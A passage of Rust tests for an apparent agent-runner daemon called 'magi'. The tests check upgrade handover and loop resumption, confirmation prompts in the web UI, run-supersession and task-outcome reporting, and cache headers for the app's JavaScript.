13026 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
13027 assert_eq!(
13028 after.stage,
13029 crate::updater::Stage::Restarting,
13030 "hand_over owns the record through parking and up to restarting; \
13031 the successor is what finishes it"
13032 );
13033 }
13034
13035 fn idle_ui(home: &TempDir) -> Ui {
13036 let runs = home.path().join("runs");
13037 std::fs::create_dir_all(&runs).expect("runs dir");
13038 Ui::new(
13039 Queue::at(home.path().join("queue")),
13040 Questions::at(home.path().join("questions")),
13041 Talks::at(home.path().join("talks")),
13042 runs,
13043 home.path().to_path_buf(),
13044 PathBuf::from("/repo/magi"),
13045 )
13046 .with_launch(launch_idle)
13047 }
13048
13049 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
13051 let looping = ui.looping();
13052 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13053 .await
13054 .expect("bind loopback");
13055 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13056 let told = std::sync::Mutex::new(None);
13057 hand_over(home.path(), &looping, served, |resume| {
13058 *told.lock().unwrap() = Some(resume);
13059 Ok(())
13060 })
13061 .await
13062 .expect("hand over");
13063 told.into_inner().unwrap().expect("successor was started")
13064 }
13065
13066 #[tokio::test]
13067 async fn a_running_loop_is_resumed_by_the_successor() {
13068 let home = TempDir::new().expect("temp home");
13069 let ui = idle_ui(&home);
13070 ui.start_loop(None).expect("start");
13071 ui.park_for_upgrade().expect("park");
13072 for _ in 0..500 {
13074 if !ui.loop_view(None).running {
13075 break;
13076 }
13077 tokio::time::sleep(Duration::from_millis(2)).await;
13078 }
13079 assert!(handed_over(&home, ui).await, "a running loop must resume");
13080
13081 let successor = idle_ui(&home);
13082 assert!(!successor.loop_view(None).running);
13083 assert!(successor.resume_after_handover(true));
13084 assert!(successor.loop_view(None).running);
13085 successor.stop_loop(None, false).expect("stop");
13086 }
13087
13088 #[tokio::test]
13089 async fn a_second_upgrade_request_keeps_the_resume_intent() {
13090 let home = TempDir::new().expect("temp home");
13091 let ui = idle_ui(&home);
13092 ui.start_loop(None).expect("start");
13093 ui.park_for_upgrade().expect("first park");
13094 ui.park_for_upgrade().expect("second park");
13095 assert!(handed_over(&home, ui).await);
13096 }
13097
13098 #[tokio::test]
13099 async fn a_stop_during_the_handover_wait_is_honoured() {
13100 let home = TempDir::new().expect("temp home");
13101 let ui = idle_ui(&home);
13102 ui.start_loop(None).expect("start");
13103 ui.park_for_upgrade().expect("park");
13104 ui.stop_loop(None, false).expect("stop");
13105 assert!(!handed_over(&home, ui).await);
13106 }
13107
13108 #[tokio::test]
13109 async fn an_idle_loop_stays_stopped_across_the_handover() {
13110 let home = TempDir::new().expect("temp home");
13111 let ui = idle_ui(&home);
13112 ui.park_for_upgrade().expect("park");
13113 assert!(!handed_over(&home, ui).await);
13114
13115 let successor = idle_ui(&home);
13116 assert!(!successor.resume_after_handover(false));
13117 assert!(!successor.loop_view(None).running);
13118 }
13119
13120 #[tokio::test]
13121 async fn a_loop_the_operator_stopped_is_not_resumed() {
13122 let home = TempDir::new().expect("temp home");
13123 let ui = idle_ui(&home);
13124 ui.start_loop(None).expect("start");
13125 ui.stop_loop(None, false).expect("stop");
13126 ui.park_for_upgrade().expect("park");
13127 assert!(!handed_over(&home, ui).await);
13128 }
13129
13130 #[test]
13131 fn only_an_explicit_one_requests_a_resume() {
13132 assert!(!resume_requested(None));
13133 assert!(!resume_requested(Some("0".into())));
13134 assert!(!resume_requested(Some("".into())));
13135 assert!(resume_requested(Some("1".into())));
13136 }
13137
13138 #[test]
13139 fn the_upgrade_button_arms_before_it_restarts_anything() {
13140 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
13143 assert!(APP_JS.contains("Replace the binary and restart?"));
13144 assert!(APP_JS.contains("function confirmed("));
13145 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
13150 assert!(
13154 APP_JS.contains("Parking, then restarting"),
13155 "the button says what it is waiting for"
13156 );
13157 assert!(APP_JS.contains("if (!out.to)"));
13160 }
13161
13162 #[test]
13163 fn stopping_the_loop_arms_but_starting_does_not() {
13164 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
13167 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
13168 assert!(APP_JS.contains("confirmed(button, question)"));
13169 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
13172 assert!(APP_JS.contains("const label = btn.textContent;"));
13173 assert!(!APP_JS.contains("Neither direction is guarded"));
13174 }
13175
13176 #[test]
13177 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
13178 assert!(
13179 APP_JS.contains("state.health.version"),
13180 "the operator wants to know what is running even with nothing newer"
13181 );
13182 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
13183 }
13184
13185 #[test]
13186 fn the_upgrade_button_names_its_destination() {
13187 assert!(
13188 APP_JS.contains("`Update to ${update.to}`"),
13189 "pressing the button should not be a surprise about what it moves to"
13190 );
13191 }
13192
13193 #[test]
13194 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
13195 for stage in ["downloading", "replaced", "parking", "restarting"] {
13196 assert!(
13197 APP_JS.contains(&format!("\"{stage}\"")),
13198 "the phone must be able to tell {stage} apart from the others"
13199 );
13200 }
13201 assert!(APP_JS.contains(".waiting_on"));
13202 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
13207 assert!(APP_JS.contains("reconnects on its own"));
13208 }
13209
13210 #[test]
13211 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
13212 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
13221 ..APP_JS.find("function upgrade(").expect("upgrade")];
13222 assert!(
13223 !body.contains(
13224 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
13225 ),
13226 "a failed upgrade must not take the whole strip over the way it used to"
13227 );
13228 assert!(
13229 body.contains("upgradeFailNote"),
13230 "the failure has to reach the loop's own note instead"
13231 );
13232 assert_eq!(
13236 body.matches("upgradeFailNote].filter(Boolean).join")
13237 .count(),
13238 2,
13239 "both loop-why writers (quiet and control) must fold the note in"
13240 );
13241 }
13242
13243 #[test]
13244 fn an_overdue_upgrade_eventually_asks_for_a_human() {
13245 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
13248 assert!(APP_JS.contains("function upgradeOverdue("));
13249 }
13250
13251 #[test]
13252 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
13253 assert!(
13254 APP_JS.contains("Updated to ${upgradeInfo.to"),
13255 "the operator who asked for the restart wants to know it worked"
13256 );
13257 }
13258
13259 #[test]
13260 fn an_error_is_visible_from_where_the_button_is() {
13261 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
13266 ..APP_CSS.find(".alert-text").expect(".alert-text")];
13267 assert!(
13268 alert.contains("position: fixed"),
13269 "an error about the thing under your thumb has to be visible from \
13270 where your thumb is: {alert}"
13271 );
13272 assert!(
13273 alert.contains("z-index: 25"),
13274 "above the dock (20) and the run-actions FAB (15), so neither \
13275 buries it: {alert}"
13276 );
13277 assert!(
13278 alert.contains("var(--tap)"),
13279 "and clear of the dock and the home indicator: {alert}"
13280 );
13281 assert!(
13284 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
13285 "the FAB's column stays free: {alert}"
13286 );
13287 }
13288
13289 #[tokio::test]
13290 async fn an_older_attempt_says_what_replaced_it() {
13291 let fx = Fixture::start().await;
13292 let q = fx.queue();
13293 let runs = fx.runs();
13294 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13295 write_run(&runs, first, RunStatus::Stalled);
13296 write_run(&runs, second, RunStatus::Blocked);
13297
13298 let mut t = Task::new(
13299 "one task".to_owned(),
13300 "do it".to_owned(),
13301 PathBuf::from("/repo"),
13302 Source::Human,
13303 );
13304 t.runs = vec![first.to_owned(), second.to_owned()];
13305 q.put(&mut t).expect("put");
13306
13307 let rows = fx.get("/api/runs").await.json();
13311 let by = |short: &str| -> Value {
13312 rows.as_array()
13313 .unwrap()
13314 .iter()
13315 .find(|r| r["short"] == short)
13316 .cloned()
13317 .unwrap_or(Value::Null)
13318 };
13319 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
13320 assert!(
13321 by("bbbb")["superseded_by"].is_null(),
13322 "the latest attempt is not superseded by anything"
13323 );
13324 assert!(APP_JS.contains("run.superseded_by"));
13326 assert!(APP_JS.contains("Superseded by"));
13327 }
13328
13329 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
13330 let mut t = Task::new(
13331 "one task".to_owned(),
13332 "do it".to_owned(),
13333 PathBuf::from("/repo"),
13334 Source::Human,
13335 );
13336 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13337 t.status = status;
13338 t
13339 }
13340
13341 #[test]
13342 fn source_link_picks_the_page_that_filed_the_task() {
13343 let agent = |node: &str| Source::Agent {
13344 run: "20260904-014455-ab12".to_owned(),
13345 node: node.to_owned(),
13346 };
13347 let chat = source_link(&agent("chat")).expect("chat link");
13348 assert_eq!(chat.kind, "chat");
13349 assert_eq!(chat.id, "20260904-014455-ab12");
13350 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
13351 let run = source_link(&agent("implement")).expect("run link");
13352 assert_eq!(
13353 (run.kind, run.href.as_str()),
13354 ("run", "#/runs/20260904-014455-ab12")
13355 );
13356 assert_eq!(source_link(&Source::Human), None);
13357 assert_eq!(
13358 source_link(&Source::Issue {
13359 number: 3,
13360 repo: "o/r".to_owned()
13361 }),
13362 None
13363 );
13364 let odd = source_link(&Source::Agent {
13365 run: "a b/c".to_owned(),
13366 node: "chat".to_owned(),
13367 })
13368 .expect("link");
13369 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
13370 }
13371
13372 #[test]
13373 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
13374 assert!(
13375 !APP_JS.contains("src.node === \"chat\""),
13376 "inline href rule is back"
13377 );
13378 assert!(
13379 APP_JS.matches("sourceLinkOf(").count() >= 4,
13380 "helper must serve every page"
13381 );
13382 assert!(
13383 APP_JS.matches("openChatLink(").count() >= 3,
13384 "the run page still needs its explicit chat link"
13385 );
13386 assert!(
13387 !APP_JS.contains("const openChat = el("),
13388 "the Queue card duplicates its source label link again"
13389 );
13390 assert!(
13391 APP_JS.contains("metaKids.push(link ? el(\"a\""),
13392 "the task page must link a chat source label too"
13393 );
13394 }
13395
13396 #[test]
13397 fn task_ref_carries_the_source_link_for_a_chat_task() {
13398 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13399 t.source = Source::Agent {
13400 run: "20260904-014455-ab12".to_owned(),
13401 node: "chat".to_owned(),
13402 };
13403 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
13404 let v = serde_json::to_value(&out).expect("json");
13405 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
13406 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
13407 assert_eq!(v["source_label"], t.source.label());
13408
13409 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13410 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
13411 .expect("json");
13412 assert!(v["source_link"].is_null(), "{v}");
13413 }
13414
13415 #[test]
13416 fn task_view_serializes_source_link() {
13417 let mut t = Task::new(
13418 "t".to_owned(),
13419 "t".to_owned(),
13420 PathBuf::from("/repo"),
13421 Source::Agent {
13422 run: "20260901-000000-aaaa".to_owned(),
13423 node: "implement".to_owned(),
13424 },
13425 );
13426 t.runs.clear();
13427 let v = serde_json::to_value(TaskView::from(t)).expect("json");
13428 assert_eq!(v["source_link"]["kind"], "run", "{v}");
13429 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
13430 }
13431
13432 #[tokio::test]
13433 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
13434 let fx = Fixture::start().await;
13435 let runs = fx.runs();
13436 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13437 write_run(&runs, old, RunStatus::Blocked);
13438 write_run(&runs, new, RunStatus::Merged);
13439 let mut t = outcome_task(&[old, new], TaskStatus::Done);
13440 fx.queue().put(&mut t).expect("put");
13441
13442 let view = fx.get(&format!("/api/runs/{old}")).await.json();
13443 let task = &view["task"];
13444 assert_eq!(task["status"], "done");
13445 assert_eq!(task["is_latest"], false);
13446 assert_eq!(task["latest"]["short"], "bbbb");
13447 assert_eq!(task["finished_by"]["id"], new);
13448 assert_eq!(task["finished_by"]["outcome"], "merged");
13449 assert_eq!(task["closed_by_hand"], false);
13450 assert_eq!(view["status"], "blocked", "the run keeps its own status");
13451 assert!(APP_JS.contains("finished_by"));
13452 assert!(APP_JS.contains("superseded by run"));
13453 }
13454
13455 #[tokio::test]
13456 async fn the_latest_run_reports_a_held_task_without_a_successor() {
13457 let fx = Fixture::start().await;
13458 let runs = fx.runs();
13459 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13460 write_run(&runs, old, RunStatus::Stalled);
13461 write_run(&runs, new, RunStatus::Blocked);
13462 let mut t = outcome_task(&[old, new], TaskStatus::Held);
13463 fx.queue().put(&mut t).expect("put");
13464
13465 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
13466 assert_eq!(task["status"], "held");
13467 assert_eq!(task["is_latest"], true);
13468 assert!(task["latest"].is_null());
13469 assert!(task["finished_by"].is_null());
13470 assert_eq!(task["closed_by_hand"], false);
13471 }
13472
13473 #[tokio::test]
13474 async fn a_direct_run_has_no_task_outcome() {
13475 let fx = Fixture::start().await;
13476 let runs = fx.runs();
13477 let id = "20260901-000000-aaaa";
13478 write_run(&runs, id, RunStatus::Blocked);
13479 let view = fx.get(&format!("/api/runs/{id}")).await.json();
13480 assert!(view["task"].is_null());
13481 }
13482
13483 #[test]
13484 fn task_outcome_does_not_guess_a_finishing_run() {
13485 let a = "20260901-000000-aaaa";
13486 let b = "20260901-000000-bbbb";
13487 let c = "20260901-000000-cccc";
13488 let dir = tempfile::tempdir().expect("tempdir");
13489 write_run(dir.path(), a, RunStatus::Blocked);
13490 write_run(dir.path(), b, RunStatus::VerifiedNoop);
13491 let read = |id: &str| read_run(dir.path(), id).ok();
13493 let t = outcome_task(&[a, b, c], TaskStatus::Done);
13496 let out = task_outcome(&t, a, 3, read);
13497 assert!(out.finished_by.is_none());
13498 assert!(out.closed_by_hand);
13499 let latest = out.latest.expect("latest");
13500 assert_eq!(latest.id, c);
13501 assert_eq!(latest.status, None);
13502 assert_eq!(latest.outcome, "record unreadable");
13503
13504 write_run(dir.path(), c, RunStatus::Ready);
13506 let t = outcome_task(&[a, c], TaskStatus::Done);
13507 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
13508 assert_eq!(out.finished_by.expect("finisher").id, c);
13509 assert!(!out.closed_by_hand);
13510
13511 let t = outcome_task(&[a, b, a], TaskStatus::Held);
13513 assert!(task_outcome(&t, a, 3, read).is_latest);
13514 }
13515
13516 #[tokio::test]
13517 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
13518 let fx = Fixture::start().await;
13523 let q = fx.queue();
13524 let runs = fx.runs();
13525 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
13526 write_run(&runs, first, RunStatus::Blocked);
13527 write_run(&runs, second, RunStatus::Merged);
13528
13529 let mut t = Task::new(
13530 "one task".to_owned(),
13531 "do it".to_owned(),
13532 PathBuf::from("/repo"),
13533 Source::Human,
13534 );
13535 t.runs = vec![first.to_owned(), second.to_owned()];
13536 q.put(&mut t).expect("put");
13537
13538 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
13539 assert_eq!(earlier["superseded_by"], "dddd");
13540 assert_eq!(earlier["latest_attempt"]["id"], second);
13541 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
13542 assert_eq!(
13543 earlier["latest_attempt"]["resolved"], true,
13544 "the run that replaced it landed, so this one reads as settled"
13545 );
13546
13547 let later = fx.get(&format!("/api/runs/{second}")).await.json();
13548 assert!(
13549 later["superseded_by"].is_null(),
13550 "the latest attempt is not superseded by anything"
13551 );
13552 assert!(
13553 later["latest_attempt"].is_null(),
13554 "the latest attempt has no later attempt of its own"
13555 );
13556
13557 assert!(APP_JS.contains("run.latest_attempt"));
13564 assert!(APP_JS.contains("data-superseded"));
13565 assert!(APP_JS.contains("#/runs/${latest.id}"));
13566 }
13567
13568 #[tokio::test]
13569 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
13570 let fx = Fixture::start().await;
13576 let q = fx.queue();
13577 let runs = fx.runs();
13578 let (a, b, c) = (
13579 "20260901-000000-aaaa",
13580 "20260901-000000-bbbb",
13581 "20260901-000000-cccc",
13582 );
13583 write_run(&runs, a, RunStatus::Blocked);
13584 write_run(&runs, b, RunStatus::Blocked);
13585 write_run(&runs, c, RunStatus::Merged);
13586
13587 let mut t = Task::new(
13588 "retried twice".to_owned(),
13589 "do it".to_owned(),
13590 PathBuf::from("/repo"),
13591 Source::Human,
13592 );
13593 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
13594 q.put(&mut t).expect("put");
13595
13596 let view = fx.get(&format!("/api/runs/{a}")).await.json();
13597 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
13598 assert_eq!(
13599 view["latest_attempt"]["id"], c,
13600 "the chain's current head, not the intermediate Blocked retry"
13601 );
13602 assert_eq!(view["latest_attempt"]["resolved"], true);
13603
13604 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
13605 assert_eq!(mid["latest_attempt"]["id"], c);
13606 assert_eq!(mid["latest_attempt"]["resolved"], true);
13607 }
13608
13609 #[tokio::test]
13610 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
13611 let fx = Fixture::start().await;
13612 let q = fx.queue();
13613 let runs = fx.runs();
13614
13615 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
13618 write_run(&runs, still_blocked_a, RunStatus::Blocked);
13619 write_run(&runs, still_blocked_b, RunStatus::Blocked);
13620 let mut t1 = Task::new(
13621 "still stuck".to_owned(),
13622 "do it".to_owned(),
13623 PathBuf::from("/repo"),
13624 Source::Human,
13625 );
13626 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
13627 q.put(&mut t1).expect("put");
13628 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
13629 assert_eq!(view1["latest_attempt"]["resolved"], false);
13630 assert_eq!(view1["latest_attempt"]["status"], "blocked");
13631 assert_eq!(view1["latest_attempt"]["done"], true);
13632
13633 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
13635 write_run(&runs, run_a, RunStatus::Blocked);
13636 write_run(&runs, run_b, RunStatus::Implementing);
13637 let mut t3 = Task::new(
13638 "retrying".to_owned(),
13639 "do it".to_owned(),
13640 PathBuf::from("/repo"),
13641 Source::Human,
13642 );
13643 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
13644 q.put(&mut t3).expect("put");
13645 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
13646 assert_eq!(view3["latest_attempt"]["id"], run_b);
13647 assert_eq!(view3["latest_attempt"]["resolved"], false);
13648 assert_eq!(view3["latest_attempt"]["done"], false);
13649
13650 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
13655 write_run(&runs, noop_a, RunStatus::Blocked);
13656 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
13657 let mut t2 = Task::new(
13658 "claims done".to_owned(),
13659 "do it".to_owned(),
13660 PathBuf::from("/repo"),
13661 Source::Human,
13662 );
13663 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
13664 q.put(&mut t2).expect("put");
13665 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
13666 assert_eq!(
13667 view2["latest_attempt"]["resolved"], false,
13668 "an unverified no-op claim must not read as a confirmed finish"
13669 );
13670
13671 assert!(APP_JS.contains("latest.resolved"));
13674 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
13677 assert!(APP_JS.contains("Latest attempt: "));
13678 assert!(APP_JS.contains("in flight"));
13679 assert!(APP_JS.contains("not resolved"));
13680 }
13681
13682 #[tokio::test]
13683 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
13684 let fx = Fixture::start().await;
13685 let js = fx.get("/app.js").await;
13691 assert_eq!(js.status, 200);
13692 let tag = js
13693 .header("etag")
13694 .expect("an etag to revalidate against")
13695 .to_owned();
13696 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
13697 assert_eq!(
13698 js.header("cache-control"),
13699 Some("no-cache, must-revalidate"),
13700 "the phone has to ask every time"
13701 );
13702
13703 let again = fx
13706 .get_with("/app.js", &[("if-none-match", tag.as_str())])
13707 .await;
13708 assert_eq!(
13709 again.status, 304,
13710 "a deck it already has costs one round trip"
13711 );
13712 assert!(again.body.is_empty(), "304 carries no body");
13713
13714 let weak = fx
13717 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
13718 .await;
13719 assert_eq!(weak.status, 304);
13720 let stale = fx
13721 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
13722 .await;
13723 assert_eq!(stale.status, 200, "an older build must be replaced");
13724 assert!(stale.body.contains("renderRunActions"));
13725 }
13726
13727 #[test]
13728 fn the_task_detail_has_an_actions_fab_and_sheet() {
13729 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
13730 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
13731 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
13732 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
13734 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
13735 assert!(APP_JS.contains("renderTaskActions(task);"));
13737 assert!(APP_JS.contains("renderTaskActions(null);"));
13738 let sheet = APP_JS
13740 .find("function renderTaskActions")
13741 .expect("sheet renderer");
13742 let body = &APP_JS[sheet..sheet + 3000];
13743 assert!(body.contains("changePriority("));
13744 assert!(body.contains("openTaskEdit(task)"));
13745 assert!(body.contains("renderTaskHoldBox(host"));
13746 assert!(body.contains("renderTaskDoneBox(host"));
13747 assert!(body.contains("renderTaskDeleteBox(host"));
13748 assert!(APP_JS.contains("API.priority(id)"));
13749 assert!(APP_JS.contains("API.deleteTask(id)"));
13750 assert!(APP_JS.contains("location.hash = \"#/queue\""));
13752 assert!(APP_JS.contains("$(\"task-actions-error\")"));
13754 }
13755
13756 #[test]
13757 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
13758 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
13759 let actions = INDEX_HTML
13760 .find("id=\"run-actions-box\"")
13761 .expect("actions box");
13762 assert!(task < actions, "the task entry comes first in the sheet");
13763 assert!(APP_JS.contains("renderRunTaskEntry"));
13764 assert!(APP_JS.contains("\"Open task \""));
13765 assert!(APP_JS.contains("started directly, no task"));
13767 assert!(APP_JS.contains("sheet-task-link"));
13768 assert!(APP_JS.contains("task-chip-link"));
13769 }
13770
13771 #[test]
13772 fn the_deck_never_sends_the_operator_to_a_terminal() {
13773 assert!(
13776 !APP_JS.contains("Run `magi fold` first"),
13777 "the deck must offer the fold, not prescribe a shell command"
13778 );
13779 assert!(APP_JS.contains("foldRun:"));
13780 assert!(APP_JS.contains("resumeRun:"));
13781 assert!(APP_JS.contains("renderRunActions"));
13782
13783 assert!(APP_JS.contains("armedFold"));
13785 assert!(APP_JS.contains("Yes, fold worktrees"));
13786
13787 assert!(APP_JS.contains("can no longer be resumed"));
13790 }
13791
13792 #[test]
13793 fn a_finished_run_explains_itself_with_its_own_last_line() {
13794 assert!(
13800 !APP_JS.contains("collapsed on agent quota"),
13801 "a stall must not be explained by a cause the deck did not check"
13802 );
13803 assert!(
13804 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
13805 "and a block must not offer a guess with an `or` in it"
13806 );
13807
13808 assert!(
13812 APP_JS.contains("setText(r.event, run.event || \"\")"),
13813 "the run's last line is rendered unconditionally"
13814 );
13815 assert!(
13816 !APP_JS.contains("moving && run.event"),
13817 "and never gated on the run still moving"
13818 );
13819
13820 assert!(APP_JS.contains("lost to quota"));
13822 }
13823
13824 #[test]
13846 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
13847 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
13848 let shapes_body_start =
13849 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
13850 let shapes_close = APP_JS[shapes_body_start..]
13851 .find("].map(")
13852 .expect("the shape list is closed by its done-computing .map(...)")
13853 + shapes_body_start;
13854 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
13855
13856 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
13857 for entry in shapes_src.split('{').skip(1) {
13858 let waiting = entry.contains("waiting: true");
13859 let dead = entry.contains("live: \"dead\"");
13860 let status_at =
13861 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
13862 let status_end = entry[status_at..]
13863 .find('"')
13864 .expect("the status string is closed")
13865 + status_at;
13866 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
13867 }
13868 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
13869
13870 let done_rule_marker = "done: !";
13874 let done_rule_at = APP_JS[shapes_close..]
13875 .find(done_rule_marker)
13876 .expect("the done rule follows the shape list")
13877 + shapes_close
13878 + done_rule_marker.len();
13879 let includes_at = APP_JS[done_rule_at..]
13880 .find(".includes(shape.status)")
13881 .expect("the done rule ends in .includes(shape.status)")
13882 + done_rule_at;
13883 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
13884 .trim()
13885 .trim_start_matches('[')
13886 .trim_end_matches(']')
13887 .split(',')
13888 .map(|s| s.trim().trim_matches('"'))
13889 .filter(|s| !s.is_empty())
13890 .collect();
13891
13892 let shapes: Vec<(bool, String, bool, bool)> = shapes
13893 .into_iter()
13894 .map(|(waiting, status, dead)| {
13895 let done = !not_done.contains(&status.as_str());
13896 (waiting, status, dead, done)
13897 })
13898 .collect();
13899
13900 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
13904 if waiting {
13905 return "waiting";
13906 }
13907 if dead
13908 && !matches!(
13909 status,
13910 "merged"
13911 | "ready"
13912 | "stalled"
13913 | "blocked"
13914 | "failed"
13915 | "verified_noop"
13916 | "superseded"
13917 | "already_in_base"
13918 )
13919 {
13920 return "stale";
13921 }
13922 match status {
13923 "merged" | "ready" => "landed",
13924 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
13925 | "already_in_base" => "ended",
13926 _ => "flight",
13927 }
13928 }
13929
13930 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
13933 match filter_key {
13934 "active" => !done,
13935 "flight" => !done && !waiting && !dead,
13936 "stale" => !done && !waiting && dead,
13937 "waiting" => waiting,
13938 "done" => done,
13939 "all" => true,
13940 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
13941 }
13942 }
13943
13944 let compatible = |section: &str, filter_key: &str| {
13945 shapes.iter().any(|(waiting, status, dead, done)| {
13946 run_section(*waiting, status, *dead) == section
13947 && filter_matches(filter_key, *waiting, *dead, *done)
13948 })
13949 };
13950
13951 let expected = [
13956 ("waiting", [true, false, false, true, true, true]),
13957 ("stale", [true, false, true, false, false, true]),
13958 ("flight", [true, true, false, false, false, true]),
13959 ("landed", [false, false, false, false, true, true]),
13960 ("ended", [false, false, false, false, true, true]),
13961 ];
13962 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
13963
13964 for (section, wants) in expected {
13965 for (filter_key, want) in filter_keys.iter().zip(wants) {
13966 assert_eq!(
13967 compatible(section, filter_key),
13968 want,
13969 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
13970 );
13971 }
13972 }
13973
13974 assert!(
13977 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
13978 );
13979 assert!(APP_JS.contains(
13980 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
13981 ));
13982 assert!(APP_JS.contains(
13983 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
13984 ));
13985 }
13986
13987 #[tokio::test]
13988 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
13989 let dir = tempfile::tempdir().expect("tempdir");
13993 let explicit = dir.path().join("not-a-checkout");
13994 std::fs::create_dir_all(&explicit).expect("create dir");
13995 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
13996
13997 let missing = dir.path().join("does-not-exist-at-all");
13998 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
13999 }
14000}